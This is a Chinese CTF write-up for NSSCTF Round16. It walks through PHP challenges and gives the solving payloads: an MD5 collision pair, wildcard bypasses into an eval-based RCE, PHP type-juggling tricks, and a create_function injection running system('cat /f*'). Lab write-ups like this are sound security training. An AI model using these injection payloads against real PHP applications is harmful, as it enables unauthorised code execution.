NSSCTF Round16 Basic

期末考考完回来,ctf开始复健了

1.RCE但是没有完全RCE

上来给了源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
error_reporting(0);
highlight_file(__file__);
include('level2.php');
if (isset($_GET['md5_1']) && isset($_GET['md5_2'])) {
if ((string)$_GET['md5_1'] !== (string)$_GET['md5_2'] && md5($_GET['md5_1']) === md5($_GET['md5_2'])) {
if (isset($_POST['md5_3'])&&md5($_POST['md5_3']) == md5($_POST['md5_3'])) {
echo $level2;
} else {
echo "您!!!!!那么现在阁下又该如何应对呢"; }
} else { echo "还在用传统方法????"; }
} else { echo "来做做熟悉的MD5~"; }

一个第一个md5是md5强碰撞

1
md5_1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&md5_2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

第二个直接传参1就可以

image-20240121154425016

看到下一个页面

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
highlight_file(__FILE__);
$shell = $_POST['shell'];
$cmd = $_GET['cmd'];
if(preg_match('/f|l|a|g|\*|\?/i',$cmd)){
die("Hacker!!!!!!!!");
}
eval($shell($cmd));

image-20240121160953571

直接通配符就好了

image-20240121161246917

之前香山杯遇到过类似的,那个时候是这样的

1
cd /;more `php -r "echo chr(102).chr(49).chr(97).chr(103);"`

不过这里看了看/bin,没看到php,就用不了了

2.了解过PHP特性吗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
 <?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
die("no!!");
}
if (intval($num)) {
$checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
$ctype = strrev($_POST['ctype']);
$is_num = strrev($_POST['is_num']);
if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
$checker_2 = TRUE;
}
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
if (!is_numeric($_514) && $_514 > 9999999) {
$checker_3 = TRUE;
}
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
for ($i = 0; $i < count($arr4y); $i++) {
if ($arr4y[$i] === "NSS") {
die("no!");
}
$arr4y[$i] = intval($arr4y[$i]);
}
if (array_search("NSS", $arr4y) === 0) {
$checker_4 = TRUE;
}
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
echo $rce;
}

考点还是蛮多的

checker_1

判断一个不含有0-9字符的值是数字

这里可以直接num=true,判是否为字符的时候按照1算

checker_2

1
2
3
4
5
6
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
$ctype = strrev($_POST['ctype']);
$is_num = strrev($_POST['is_num']);
if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
$checker_2 = TRUE;
}

将两个值全部翻转,要求一个全是字母一个全是数字,然后弱比较

找一个纯数字一个纯字母的字符串,md5的结果是0e开头的就行

ctype=OZDCKNQ&is_num=807016042

checker_3

这个比较简单,只要使用1e9,比较的时候会作为科学计数法

第二个用999999999a就可以

checker_4

最后一个使用[空格]NSS即可让他匹配到NSS

image-20240121194850025

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);
$nss=$_POST['nss'];
$shell = $_POST['shell'];
if(isset($shell)&& isset($nss)){
$nss_shell = create_function($shell,$nss);
}

最后是一个create_function的注入

1
shell=&nss=1;}system('cat /f*');/*